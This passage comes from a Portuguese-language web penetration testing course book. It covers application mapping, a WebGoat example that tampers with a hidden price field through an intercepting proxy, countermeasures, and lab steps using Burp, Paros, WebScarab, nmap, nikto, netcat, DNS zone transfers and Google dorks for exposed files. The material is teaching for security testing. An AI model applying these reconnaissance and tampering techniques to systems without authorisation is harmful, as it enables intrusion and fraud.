aplicao alvo sero descobertos.
63
Conforme Meucci et al (2008) e Sttutard e Pinto (2007), os seguintes elementos devem q
ser levantados:

1 Parmetros passados no corpo de requisies POST, principalmente, campos escon-


didos, que no so visveis pela interface da aplicao.

1 Parmetros passados via URL em requisies GET. Considere-se que nem sempre os
delimitadores-padro so utilizados.

1 Cookies e os lugares em que so definidos e modificados.


1 Cabealhos que tendem a ser processados pela aplicao, como User-Agent,
Referer e Host.

1 Cabealhos no padronizados utilizados em requisies GET e POST.


1 Canais secundrios que podem ser controlados pelo usurio. Por exemplo, um
servidor de arquivos de rede que permite submeter arquivos pelo protocolo FTP e
visualiz-los em uma interface web.

Uma regra de ouro para o desenvolvimento de softwares seguros que todo usurio deve
ser considerado malicioso e, portanto, nunca se deve confiar em nada que ele fornece.

Relacionamento com as informaes de reconhecimento


Neste ponto, algumas das informaes levantadas na fase de reconhecimento j devem q
ter sido utilizadas no processo de cpia dos arquivos da aplicao. Falta ainda, porm,
relacionar todas as funcionalidades mapeadas aos servidores e tecnologias identificados.

Isto importante por uma srie de razes:

1 H vulnerabilidades que afetam apenas linguagens e plataformas especficas.


1 Ataques que envolvem interao com o sistema operacional devem utilizar os comandos
especficos da plataforma.

1 Sistemas gerenciadores de bancos de dados relacionais possuem peculiaridades na


sintaxe de comandos SQL, que devem ser respeitadas na construo de ataques.

1 Relaes de confiana entre servidores e o posicionamento na topologia de rede per-


mitem identificar elementos estratgicos que devero ser explorados para o controle
completo do ambiente.

1 Problemas de configurao nas plataformas subjacentes podem invalidar mecanismos de


segurana implementados na aplicao ou facilitar a execuo de ataques.

Exerccio de nivelamento 2 e
Validao unilateral
comum encontrar aplicaes que validam entradas somente no lado cliente?
Teste de Invaso de Aplicaes Web

64
Descoberta de vulnerabilidades e explorao
Aps realizar todo o levantamento e mapeamento da aplicao, prossegue-se etapa q
de descoberta de vulnerabilidades, para posterior explorao. Com um pouco de sorte,
algumas fraquezas, como utilizao de usurios e senhas-padro, so encontradas logo
nas fases iniciais do teste de invaso. Para a maioria dos casos, porm, testes espec-
ficos para cada tipo de problema possvel devem ser executados, sempre guiados pelas
informaes coletadas.

No restante deste livro, os mtodos empregados para deteco e explorao de vulnerabili-


dades sero apresentados, iniciando-se pelo abuso de controles no lado cliente do sistema.

Explorao de controles no lado cliente


Um fato importante que muitas vezes esquecido ou ignorado por desenvolvedores q
de aplicaes web que, de modo geral, controles que so executados no lado cliente
podem ser violados com as ferramentas e conhecimentos apropriados.

Em alguns casos, o esforo necessrio para comprometer o controle mnimo; em outros,


uma base slida de engenharia reversa necessria, mas a tarefa ainda possvel. Desse
modo, esses mecanismos podem ser utilizados para auxiliar na interao do usurio com a
aplicao, evitando trfego de dados invlidos pela rede, em caso de erros, mas no como o
nico ponto para validao de entradas.

O caso clssico deste problema, que afetou diversas lojas virtuais, nos princpios do q
comrcio eletrnico, o armazenamento de preos em campos escondidos, para uso no
clculo da fatura a ser paga pelo cliente.

As motivaes por trs desta abordagem so facilitar o desenvolvimento da aplicao, dimi-


nuindo a interao com o banco de dados, e prover segurana por obscuridade, baseada no
falso pensamento de que o campo escondido no ser modificado, porque ele no visvel
aos usurios.

O mtodo mais simples de violar o uso de campos escondidos consiste em gravar o for- q
mulrio localmente, editar o valor do campo, recarregar o formulrio em um navegador
e submet-lo ao servidor (Stuttard e Pinto, 2007).

Uma abordagem mais elegante e prtica, contudo, utilizar um proxy de interceptao, para
alterar as informaes desejadas, em tempo de execuo, antes que a requisio deixe a
mquina do usurio. Esta tcnica bem verstil e tambm pode ser empregada para quebrar
restries impostas a campos de formulrios e validao baseada em cdigo Javascript.
Captulo 2 - Reconhecimento e mapeamento

O prximo exemplo, baseado no WebScarab e WegGoat, ilustra mais detalhadamente como


este tipo de vulnerabilidade pode ser explorado. A Figura 2.10 mostra o exerccio sobre explo-
rao de campos escondidos do WegGoat, que simula uma aplicao de comrcio eletrnico.

65
Figura 2.10
WebGoat: exerccio
sobre explorao de
campo escondido.

A interface bem simples e permite que o usurio altere a quantidade do elemento


presente no carrinho de compras ou que efetive o pedido, clicando no boto Purchase.
Quando isto acontece, a seguinte requisio enviada para o servidor web:

POST http://webgoat.esr.rnp.br:8080/webgoat/
attack?Screen=60&menu=1700 HTTP/1.1
Host: webgoat.esr.rnp.br:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13)
Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.7,pt-br;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://webgoat.esr.rnp.br:8080/webgoat/
attack?Screen=60&menu=1700
Cookie: JSESSIONID=325E4532DAA7BD43EA8C2AE5824783C0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Content-Type: application/x-www-form-urlencoded
Content-length: 35

QTY=1&SUBMIT=Purchase&Price=2999.99
Teste de Invaso de Aplicaes Web

Observe-se que o corpo da requisio contm os parmetros QTY, SUBMIT e Price. Qual
seria o motivo do preo ser submetido como parte da requisio? Normalmente, apenas as
informaes que sero processadas pela aplicao so enviadas e, assim, razovel supor
que o valor ser empregado para compor o total do pedido. Se esta hiptese estiver correta,
a alterao do valor do campo escondido far com que o preo desejado seja cobrado pelo
produto. Este passo, executado por meio da tela de interceptao do WebScarab, est ilus-
trado na Figura 2.11, e o resultado, na Figura 2.12.

66
Figura 2.11
Interceptao da
requisio e alte-
rao do valor do
campo Price.

Figura 2.12
Tela exibindo o total
do pedido.

Exerccio de fixao 4 e
Segurana de controles
Controles no lado cliente so seguros? Em caso negativo, explique o motivo.

Contramedidas
Para evitar que uma aplicao padea de vulnerabilidades relacionadas a controles q
implementados no lado cliente, as seguintes melhores prticas devem ser observadas:

1 Parta da premissa de que todos os usurios da aplicao so maliciosos e, por isso,


Captulo 2 - Reconhecimento e mapeamento

toda informao fornecida por eles deve ser validada no servidor, imediatamente
antes de ser utilizada.

1 No assuma que informaes armazenadas em campos escondidos no podem ser


alterados por um usurio, uma vez que no esto visveis.

1 Implemente controles no lado cliente da aplicao, apenas para evitar que um


usurio bem intencionado submeta, por erro, formulrios com campos inconsistentes
e consuma banda de rede desnecessariamente.

1 Nunca espere que todos os parmetros previstos sejam recebidos como parte
da requisio. Usurios maliciosos podem remover um ou mais itens, antes de
submet-la aplicao.

67
68
Teste de Invaso de Aplicaes Web
Roteiro de Atividades 2
Atividade 1 Ferramentas bsicas
Nesta atividade, o aluno se familiarizar com as ferramentas bsicas que so utilizadas nas
diversas etapas de um teste de invaso. Para inici-la, carregue as mquinas virtuais do
aluno e do servidor (Fedora) e execute os roteiros na primeira delas.

Proxies de interceptao
Para utilizar proxies de interceptao, necessrio configurar a ferramenta para escutar
a porta desejada e o navegador para direcionar todo trfego para ela. Os roteiros abaixo
ilustram como isso pode ser realizado nos proxies Burp Suite, Paros e WebScarab e nos
navegadores Firefox, Opera e Chrome.

Configurao de porta no Burp Suite

1. Inicie o Burp Suite, presente no menu Aplicativos\Curso Ferramentas.

2. Clique na aba Proxy e, em seguida, na aba-filha Options.

3. Selecione a primeira linha da tabela e clique no boto Edit.

4. Digite a porta desejada no campo local listener port e mantenha listen on loopback
interface only habilitado.

5. Para finalizar, clique em Update.

Configurao de porta no Paros

6. Inicie o Paros, presente no menu Aplicativos\Curso Ferramentas.

7. Clique no menu Tools e no sub-menu Options....

8. Selecione na parte esquerda da janela, a opo Local proxy.

9. Digite a porta desejada no campo Port (eg 8080). Para este exerccio, escolha a porta 9000.

10. Para finalizar, clique em OK.

Configurao de porta no WebScarab

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Clique na aba Proxy e, em seguida, na aba-filha Listeners.

3. Selecione a primeira linha da tabela e clique no boto Stop.


Captulo 2 - Roteiro de Atividades

4. Digite a porta desejada no campo Port, abaixo da tabela.

5. Para finalizar, clique em Start.

Configurao do Firefox

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Inicie o proxy desejado. Para este exerccio, utilize o WebScarab, presente no menu
Aplicativos\Curso Ferramentas.

69
3. No Firefox, clique em Edit, seguido de Preferences.

4. Clique na opo Advanced e na aba Network.

5. Clique em Settings.

6. Selecione Manual proxy configuration.

7. Digite localhost no campo HTTP Proxy e 8008 no campo Port.

8. Clique em Use this proxy server for all protocols.

9. Limpe o campo No proxy for.

10. Finalize a configurao, clicando em OK e em Close.

11. Os passos seguintes so para testar o acesso via WebScarab, mas sem interceptao de
nenhuma das requisies.

12. No WebScarab, selecione a aba Proxy e a aba-filha Manual Edit.

13. Desmarque as opes Intercept Requests e Intercept Responses.

14. Clique na aba Summary e veja que no h nada nas tabelas.

15. Retorne ao Firefox e acesse exemplo.esr.rnp.br.

16. Volte ao WebScarab e veja que as tabelas na aba Summary foram preenchidas com as
requisies efetuadas pelo acesso acima.

17. Encerre o WebScarab.

Configurao do Multiproxy Switch

O Multiproxy Switch um complemento para Firefox, que permite selecionar um proxy a


partir de uma lista pr-cadastrada, simplificando muito o trabalho de configurao.
possvel exibi-lo na barra de ferramentas, no menu de contexto e na barra de estado do
navegador, de acordo com as preferncias do usurio.

O roteiro abaixo inclui o Paros na lista de proxies cadastrados.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Clique no Multiproxy Switch, na parte direita da barra de estado, e observe que j existem
alguns itens cadastrados.

3. Selecione Manage Proxies.

4. Clique em Add.

5. Preencha Proxy Label com Paros, HTTP Proxy com localhost, Port com 9000 e selecione
Use this proxy server for all protocols.
Teste de Invaso de Aplicaes Web

6. Clique em OK nas duas janelas.

7. Clique novamente no Multiproxy Switch e veja que um item para o Paros foi adicionado.

Configurao do Opera

1. Inicie o Opera, presente no menu Aplicativos\Internet.

2. Inicie o proxy desejado. Para este exerccio, utilize o Burp Suite, presente no menu
Aplicativos\Curso Ferramentas.

70
3. No Opera, clique em Menu, seguido de Configuraes e Preferncias.

4. Clique na aba Avanado.

5. Escolha o item Rede na parte esquerda da janela.

6. Clique em Servidores de Proxy.

7. Habilite as configuraes para o protocolo HTTP, preenchendo os campos HTTP e


Porta com os valores localhost e 8089, respectivamente.

8. Habilite as configuraes para o protocolo HTTPS, preenchendo os campos HTTPS e Porta


com os valores localhost e 8089, respectivamente.

9. Clique em OK nas duas janelas, para finalizar a configurao.

10. Os passos seguintes so para testar o acesso via Burp Suite, mas sem interceptao de
nenhuma das requisies.

11. No Burp Suite, selecione a aba Proxy e a aba-filha Options.

12. Role a tela at encontrar a seo intercept client requests.

13. Desabilite a opo intercept if da seo intercept client requests.

14. Desabilite a opo intercept if da seo intercept server responses.

15. Ainda na aba Proxy, clique na aba-filha History e veja que a tabela est vazia.

16. Retorne ao Opera e acesse exemplo.esr.rnp.br.

17. Volte ao Burp Suite e veja que a tabela na aba History foi preenchida com as requisies
efetuadas pelo acesso acima.

18. Encerre o Burp Suite.

Configurao do Chrome

19. Inicie o Chrome, presente no menu Aplicativos\Internet.

20. Inicie o proxy desejado. Para este exerccio, utilize o Paros, presente no menu
Aplicativos\Curso Ferramentas.

21. No Chrome, clique no cone de chave inglesa, localizado ao lado da barra de endereo e
selecione Preferncias.

22. Selecione a aba Under the Hood.

23. Role a pgina at encontrar a seo Network.

24. Clique em Change proxy settings.

25. Na aba Configurao do proxy, selecione Configurao manual de proxy.


Captulo 2 - Roteiro de Atividades

26. Selecione Usar o mesmo proxy para todos os protocolos e preencha os campos Proxy HTTP e
Porta com os valores localhost e 9000, respectivamente.

27. Clique em Fechar e, na mensagem que aparece, em Fechar, novamente.

28. Para finalizar, clique em Fechar na janela de preferncias.

29. Os passos seguintes so para testar o acesso via Paros, mas sem interceptao de
nenhuma das requisies.

30. No Paros, selecione a aba Trap.

71
31. Limpe os check-boxes Trap request e Trap response.

32. Clique na aba History, localizada na parte inferior da tela, e veja que no h itens listados ali.

33. Retorne ao Chrome e acesse exemplo.esr.rnp.br.

34. Volte ao Paros e veja que a lista na aba History foi preenchida com as requisies efetu-
adas pelo acesso acima.

35. Encerre o Paros.

Web spiders
O objetivo desta atividade que o aluno tenha um primeiro contato com web spiders, para
utiliz-los nos exerccios sobre mapeamento.

Spider do Burp Suite

1. Inicie o Burp Suite, presente no menu Aplicativos\Curso Ferramentas.

2. Selecione a aba Spider.

3. Selecione a aba-filha Control e veja as opes disponveis.

4. Selecione a aba-filha Options e veja as opes disponveis.

5. Para finalizar, clique em Help e em spider help e faa uma breve leitura do contedo.

6. Encerre o Burp Suite.

Spider do Paros

1. Inicie o Paros, presente no menu Aplicativos\Curso Ferramentas.

2. Selecione a aba Spider, na parte inferior da tela, e veja as opes disponveis.

3. Clique em Analyse e em seguida em Spider. O que acontece?

4. Encerre o Paros.

Spider do WebScarab

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Selecione a aba Spider e veja as opes disponveis.

3. Clique em Help e em Contents.

4. Expanda o ramo WebScarab Plugins, selecione The Spider plugin e leia o contedo apresentado.

5. Encerre o WebScarab.
Teste de Invaso de Aplicaes Web

Varredores de portas e servios


O representante mais conhecido deste tipo de software o Nmap, cuja interface grfica
oficial o Zenmap. Siga o roteiro abaixo para um contato inicial com a ferramenta.

1. Abra uma janela de terminal.

2. Veja a documentao do Nmap:

man nmap

72
3. Execute uma varredura local bsica e analise o relatrio apresentado:

nmap localhost

4. Encerre o terminal.

Outras ferramentas
H outras ferramentas que podem ser utilizadas em testes de invaso de aplicaes web,
das quais, nesta atividade, sero abordadas o Netcat, o OpenSSL e o Nikto.

Netcat

O roteiro abaixo emprega o Netcat para implementar um modelo cliente-servidor simples.

1. Abra uma janela de terminal.

2. Veja a documentao do Netcat:

$ man netcat

3. Digite o comando abaixo para que o Netcat escute conexes na porta 7000:

$ nc l 7000

4. Abra outro terminal.

5. Conecte-se primeira instncia do Netcat, por meio do comando:

$ nc localhost 7000

6. Digite alguns textos e veja que so refletidos no outro terminal.

7. Encerre o cliente pressionando Control+D.

8. Encerre uma das janelas de terminal.

OpenSSL

Como se sabe, o Netcat no capaz de tratar os protocolos SSL e TLS nativamente e,


assim, o roteiro abaixo ilustra como o OpenSSL pode preencher esta lacuna, por meio do
comando s_client.

9. Mude o foco para a janela de terminal da ltima atividade.

10. Conecte-se ao servidor w3s.esr.rnp.br, com o comando:

$ openssl s_client -connect w3s.esr.rnp.br:443

11. Acesse a pgina raiz, digitando:

$ GET / HTTP/1.0
Captulo 2 - Roteiro de Atividades

12. Role a janela para visualizar a sada do OpenSSL.

Nikto

1. Mude o foco para a janela de terminal da ltima atividade.

2. Veja a documentao do Nikto:

$ man nikto

3. Encerre a janela de terminal.

73
Atividade 2 Reconhecimento
O objetivo desta atividade exercitar os diversos passos que fazem parte da etapa de
reconhecimento de um teste de invaso, cujo propsito levantar o mximo possvel de
informaes da aplicao alvo.

Levantamento de informaes em fontes pblicas


Muitas informaes teis para um teste de invaso podem ser obtidas em fontes pblicas,
como redes sociais, grupos de discusso e anncios de emprego. Com o roteiro abaixo, que
deve ser executado em uma janela de terminal, algumas das informaes sobre a organi-
zao em que trabalha sero identificadas.

Considere as redes sociais de que participa. Identifique que informaes sobre tecnologias
utilizadas pela organizao em que trabalha podem ser extradas de seus perfis e das comu-
nidades de que faz parte.

1. Consulte as informaes de registro de domnio da sua organizao e identifique informa-


es relevantes para testes de invaso.

$ whois <nome de domnio da empresa>

2. Identifique os servidores de nome e de e-mail da sua organizao, com o seguinte


comando:

$ dig ANY <nome de domnio da empresa>

3. Tente executar uma transferncia de zona DNS para o domnio da sua organizao. Na
remota possibilidade desta funcionalidade estar habilitada, uma vulnerabilidade acaba de
ser encontrada e precisa ser corrigida.

$ dig t AXFR <nome de domnio da empresa>

Google hacking
Mecanismos de busca como o do Google permitem encontrar muitas informaes sobre
uma aplicao e, assim, so muito teis em testes de invaso. Nesta prtica, o aluno execu-
tar diversas consultas ao Google, para explorar as opes existentes. Para cada pesquisa,
observe o total de itens encontrados, o tempo de execuo e as pginas listadas.

1. Inicie o navegador de sua preferncia e acesse www.google.com.

2. Para encontrar pginas em ingls sobre testes de invaso em aplicaes web, submeta a
seguinte pesquisa:

web application penetration testing


Teste de Invaso de Aplicaes Web

3. Altera a pesquisa para a seguinte e observe o que muda nos resultados:

web application OR penetration testing

4. Aplique a seguinte alterao para buscar pginas que possuam web application ou
penetration testing:

web application OR penetration testing

5. Execute a pesquisa abaixo para listar varredores de vulnerabilidades:

vulnerability scanners

74
6. Se no estiver interessado no Nessus, por exemplo, inclua -nessus:

vulnerability scanners nessus

7. Veja o que o Google encontra sobre a sua empresa, digitando:

<nome da empresa em que trabalha>

8. Para restringir a busca ao domnio da sua empresa, empregue o operador site:

site:<domnio da empresa>

9. Verifique se sua empresa possui algum sistema web voltado para internet com uma
pgina de autenticao de usurio:

site:<domnio da empresa> login OR logon

10. Procure na internet stios web com listagem de diretrios habilitada:

intitle:Index of

11. Para encontrar arquivos .bak, utilize a pesquisa:

intitle:Index of filetype:bak

12. Localize na internet relatrios gerados pelo Nessus:

This file was generated by Nessus

Identificao de sistema operacional, servios e portas

Neste exerccio, ser realizada a identificao do sistema operacional, servios e portas do


servidor que hospeda exemplo.esr.rnp.br.

1. Inicie uma janela de terminal.

2. Execute o comando e analise o relatrio gerado:

$ nmap exemplo.esr.rnp.br

3. O comando acima apenas identificou as portas e servios do servidor, mas no exibiu


nada sobre o sistema operacional e plataformas que fornecem os servios. Isso pode ser
obtido com a opo -A:

$ nmap -A exemplo.esr.rnp.br

Quantos e quais servidores web foram identificados?


Captulo 2 - Roteiro de Atividades

4. Aparentemente, a opo -A fez apenas metade do trabalho esperado, pois no identi-


ficou o sistema operacional. O motivo disso que, para essa funcionalidade ser executada
corretamente, o programa deve ser executado por um usurio privilegiado. Assim, chame
o Nmap via sudo e fornea a sua senha quando solicitada:

$ sudo nmap -A exemplo.esr.rnp.br

75
5. O Nmap possui uma interface grfica oficial, chamada de Zenmap. Inicie-a, a partir do
menu Aplicativos\Curso Ferramentas e fornea sua senha, quando solicitada.

6. Explore as opes disponveis na interface grfica.

7. Digite exemplo.esr.rnp.br no campo Target e observe como o campo Command atualizado


em tempo real.

8. Clique no boto Scan e aguarde at que a tarefa seja executada.

9. Analise o resultado, percorrendo as abas Nmap output, Ports / Hosts, Topology, Host Details
e Scans.

10. Feche a janela do Zenmap, mas mantenha o terminal aberto para a prxima atividade.

Identificao do servidor web


Na atividade anterior, o Nmap j realizou um timo trabalho na identificao de servidores
web. Apesar disso, sempre bom conhecer mtodos alternativos de se realizar a mesma
tarefa. Assim, nesta atividade, sero estudadas tcnicas adicionais para identificar o tipo de
servidor web em uso.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://exemplo.esr.rnp.br/blabla e veja se a mensagem de erro d alguma pista


sobre o servidor. o mesmo que o identificado pelo Nmap? Esta tcnica robusta?

3. Repita o passo anterior para as seguintes URLs:

http://exemplo.esr.rnp.br:81/blabla
http://exemplo.esr.rnp.br:8080/blabla
http://exemplo.esr.rnp.br:8090/blabla

4. Outra tcnica consiste na anlise do cabealho Server, fornecido pelo servidor como parte
das respostas. Para realizar este teste, abra uma nova janela de terminal e digite o texto
abaixo, finalizando com [Enter] duas vezes:

$ nc exemplo.esr.rnp.br 80
HEAD / HTTP/1.0

O valor do cabealho supracitado est de acordo com o tipo de servidor identificado pelo
Nmap? Esta tcnica robusta?
Teste de Invaso de Aplicaes Web

5. Repita o Passo 4, substituindo a porta 80 por 81, 8080 e 8090.

6. Houve algum problema ao realizar o teste para a porta 81? Provavelmente sim, e o motivo
que o lighttpd, na verso 1.4, somente aceita linhas terminadas pelos caracteres CR e LF,
enquanto que o sistema operacional Linux adota apenas o caractere LF. Para corrigir isto,
utilize a opo -C do Netcat.

7. A ltima tcnica envolve o uso do utilitrio httprint. Inicie-o a partir do menu


Aplicativos\Curso Ferramentas.

76
8. Na tabela localizada abaixo do campo Signature File, insira uma linha para cada uma das
portas no conjunto {80, 81, 8080, 8090}, com Host igual a exemplo.esr.rnp.br e com o
check-box marcado. Para incluir uma nova linha, basta pressionar a tecla [Enter], quando
o foco estiver em Host ou Port.

9. Clique no boto Options, desabilite a opo ICMP Enable e clique em OK.

10. Para iniciar a execuo, clique no boto que contm uma seta verde.

11. Compare o resultado com o Nmap, por meio da coluna Banner Deduced, e observe que no
foi muito satisfatrio. Esse resultado, contudo, pode ser melhorado por meio da adio
de assinaturas de servidores web ao arquivo signatures.txt do httprint. A localizao deste
arquivo pode ser observada no campo Signature File, que, no exerccio, aparece como um
subdiretrio do drive Z, porque o utilitrio est sendo executado via Wine.

12. Selecione na tela do httprint a linha do servidor lighttpd e copie para a rea de transfe-
rncia (Control-C) a regio abaixo da tabela, contendo nome do servidor e cinco linhas
em hexadecimal.

13. Abra uma janela de terminal e digite o seguinte comando, fornecendo a senha quando
solicitada:

$ sudo gedit /usr/share/httprint_301/win32/signatures.txt

14. Logo aps a linha # $AUTOGENERATED: {version}, cole o que copiou do httprint, deixando
uma linha em branco antes da seo seguinte.

15. Salve o arquivo e execute novamente o httprint. O que acontece?

16. Feche as janelas do gedit, httprint e terminais.

Levantamento dos mtodos suportados pelos servidores web

Neste roteiro, por meio do mtodo OPTIONS, o aluno deve identificar os mtodos supor-
tados pelos quatro servidores web instalados na mquina virtual Fedora.

17. Abra uma janela de terminal e digite o texto abaixo, finalizando com [Enter] duas vezes:

$ nc exemplo.esr.rnp.br 80
OPTIONS / HTTP/1.0

18. Repita o processo para as portas 81, 8080 e 8090, lembrando-se como proceder, no caso
do lighttpd.

19. Feche a janela de terminal.

Deteco de hosts virtuais


Captulo 2 - Roteiro de Atividades

Nesta atividade, sero exercitados mtodos para a deteco dos hosts virtuais.

1. Inicie o navegador de sua preferncia.

2. Acesse http://dvwa.esr.rnp.br.

3. Acesse http://exemplo.esr.rnp.br.

4. Abra uma janela de terminal.

77
5. Digite o comando abaixo e anote o endereo IP:

$ ping -c 1 dvwa.esr.rnp.br

6. Digite o comando abaixo e anote o endereo IP:

$ ping -c 1 exemplo.esr.rnp.br

7. Quando os dois endereos IP so iguais e os dois stios so acessados pela mesma porta,
significa que so hospedados virtualmente pelo mesmo servidor, que os discerne pelo
nome de domnio. A desvantagem deste mtodo, porm, que nem sempre haver dois
nomes de domnio diferentes disposio, para realizar o teste descrito.

8. Uma tcnica diferente, que depende de sorte para funcionar, consiste em acessar o stio
web por meio do endereo IP. Assim, considere que a aplicao alvo seja dvwa.esr.rnp.br
e a acesse em um navegador web utilizando o endereo IP descoberto no Passo 5. Observe
que a pgina exibida pertence ao domnio exemplo.esr.rnp.br, o que implica que a hos-
pedagem virtual por nomes utilizada. O fator azar est relacionado chance do stio web
alvo ser exatamente o host padro do servidor web. Neste caso, o teste no conclusivo.

9. Repita o exerccio anterior para os servidores web que escutam nas portas 81, 8080
e 8090 da mesma mquina. Primeiro, observe a pgina obtida pelo acesso com a URL
http://exemplo.esr.rnp.br:<porta> e, em seguida, por meio de endereo IP, com a URL
http://192.168.213.200:<porta>. Quais esto utilizando hospedagem virtual?

10. A ltima tcnica envolve o uso de uma ferramenta web para mapear endereos IP para
nomes de domnio. Inicie acessando uma janela de terminal.

11. Digite o comando abaixo para descobrir o endereo IP do servidor web da sua empresa:

$ dig <URL do stio web da sua empresa>

12. Acesse http://whois.webhosting.info em um navegador, digite o endereo IP encontrado


no passo anterior e clique em Go.

13. Se domnios de empresas diferentes forem listados, o stio web de sua empresa est
armazenado em um servidor com hospedagem virtual habilitada.

14. Feche o navegador e a janela de terminal.

Descoberta de arquivos e diretrios

Para finalizar as atividades sobre reconhecimento, o aluno executar a ferramenta Nikto


para descoberta de arquivos e diretrios instalados por padro nos servidores web.

1. Inicie uma janela de terminal.

2. Digite o comando abaixo e observe o relatrio gerado:


Teste de Invaso de Aplicaes Web

$ nikto C all -host exemplo.esr.rnp.br -port 80

3. Anote todos os recursos encontrados para uso na fase de mapeamento.

4. Repita o exerccio acima, trocando a porta 80 por 81, 8080 e 8090.

5. Encerre a janela de terminal.

78
Atividade 3 Mapeamento
Nesta atividade, o aluno realizar o mapeamento de uma aplicao web, contida na
mquina virtual Fedora. A ferramenta bsica que ser utilizada o web spider, para cpia
local das pginas e recursos que compem a aplicao.

Cpia das pginas e recursos da aplicao


Nesta atividade, o aluno poder comparar os web spiders que fazem parte das sutes inte-
gradas de teste Burp Suite, WebScarab e Paros.

Uso do spider do Paros

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Clique em Tools e em Clear Recent History, para limpar o histrico. Na janela que aparece,
selecione Everything para Time range to clear, marque todos os itens em Details e pressione
Clear now.

3. Inicie o Paros, presente no menu Aplicativos\Curso Ferramentas.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o Paros.

5. Clique no marcador Mutillidae, para acessar a aplicao.

6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e
Source viewer e submeta quaisquer formulrios que forem apresentados.

7. Acesse pginas, diretrios e arquivos encontrados na fase de reconhecimento.

8. No Paros, percorra e analise o mapa criado na aba Sites.

9. Clique em Tools, seguido de Options....

10. Selecione Spider na parte esquerda da janela.

11. Inclua a URL http://mutillidae.esr.rnp.br/setupreset.php em URLs to be skipped e not read.

12. Desmarque POST forms.

13. Clique em OK.

14. Selecione http://mutillidae.esr.rnp.br na aba Sites e clique com o boto direito.

15. Selecione Spider e clique em Start. O processo demorar alguns minutos.

16. Analise novamente o mapa criado na aba Sites.

17. Selecione a aba Spider, na parte inferior da tela.

18. Observe que as URLs encontradas no processo de cpia so listadas no quadro inferior
Captulo 2 - Roteiro de Atividades

da tela.

19. No encerre o Paros.

Uso do spider do WebScarab

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Clique em Tools e em Clear Recent History, para limpar o histrico. Na janela que aparece,
selecione Everything para Time range to clear, marque todos os itens em Details e pressione
Clear now.

79
3. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

5. Clique no marcador Mutillidae, para acessar a aplicao.

6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e
Source viewer e submeta quaisquer formulrios que forem apresentados.

7. Acesse pginas, diretrios e arquivos encontrados na fase de reconhecimento.

8. No WebScarab, selecione a aba Summary.

9. Analise o mapa da aplicao, organizado em rvore, e as requisies na tabela localizada


abaixo deste. Observe as colunas existentes nas duas partes.

10. Selecione a aba Spider.

11. Preencha o campo Allowed Domains com .*esr\.rnp\.br.*.

12. Marque Synchronise cookies e Fetch Recursively.

13. Expanda a rvore referente aplicao Mutillidae e selecione a URL.

14. Clique em Fetch Tree. Infelizmente, o WebScarab no possui uma barra de progresso da
tarefa e, assim, a nica maneira de saber que o processo terminou quando nenhum
item for adicionado ou removido da tela.

15. Retorne aba Summary e analise novamente o mapa da aplicao.

16. Observe na tabela de requisies que algumas linhas com Origin igual a Spider foram
includas pelo Passo 14.

17. No encerre o WebScarab.

Uso do spider do Burp Suite

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Clique em Tools e em Clear Recent History, para limpar o histrico. Na janela que aparece,
selecione Everything para Time range to clear, marque todos os itens em Details e pressione
Clear now.

3. Inicie o BurpSuite, presente no menu Aplicativos\Curso Ferramentas.

4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o Burp Suite.

5. Clique no marcador Mutillidae, para acessar a aplicao.

6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Teste de Invaso de Aplicaes Web

Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e
Source viewer e submeta quaisquer formulrios que forem apresentados.

7. Acesse pginas, diretrios e arquivos encontrados na fase de reconhecimento.

8. No Burp Suite, selecione a aba Target e a aba-filha Site map.

9. Analise o mapa da aplicao na parte esquerda da tela, a lista de requisies e os detalhes


destas e das respostas.

10. No mapa da aplicao, clique com o boto direito sobre o item referente ao Mutillidae e
selecione Add item to scope.

80
11. Clique novamente com o boto direito sobre o item referente ao Mutillidae, selecione
Spider this host e clique no boto Yes, na mensagem que aparece.

12. Neste processo, algumas janelas para submisso de formulrios aparecero. Preencha os
campos e clique em Submit form, sempre que isso acontecer.

13. Observe que novos elementos foram adicionados ao mapa da aplicao, ao fim do processo.

14. Procure pelo arquivo config.inc e selecione-o. Que contedo interessante ele revela?

15. Agora, procure pelo arquivo accounts.txt, selecione-o e observe o que ele contm. Qual a
utilidade das informaes encontradas?

16. No encerre o Burp Suite.

Identificao dos pontos de entrada de informao


A partir das pginas e recursos copiados no primeiro passo do mapeamento, necessrio
identificar pontos de entrada de informao, que sero empregados para testar a presena
de uma srie de vulnerabilidades. As anotaes podem ser feitas em uma planilha, listando
mtodo, URL, parmetros, cabealhos e quaisquer outras informaes que possam ser teis
para o teste de invaso.

No Paros

1. Retorne janela do Paros.

2. Selecione a aba Request.

3. Selecione a aba History.

4. Percorra os itens do histrico, um a um, analisando a requisio que foi realizada e identi-
ficando parmetros passados em requisies GET e POST.

5. Repita o processo para o mapa da aplicao.

6. Selecione a aba Response.

7. Percorra os itens do histrico, um a um, analisando a resposta fornecida e observando


cabealhos no padronizados e definies de cookies.

8. Repita o processo para o mapa da aplicao.

9. Feche a janela do Paros.

No WebScarab
Captulo 2 - Roteiro de Atividades

10. Retorne janela do WebScarab.

11. Selecione a aba Summary.

12. Percorra os itens do mapa da aplicao, um a um, analisando as colunas marcadas e a


dica que fornecem.

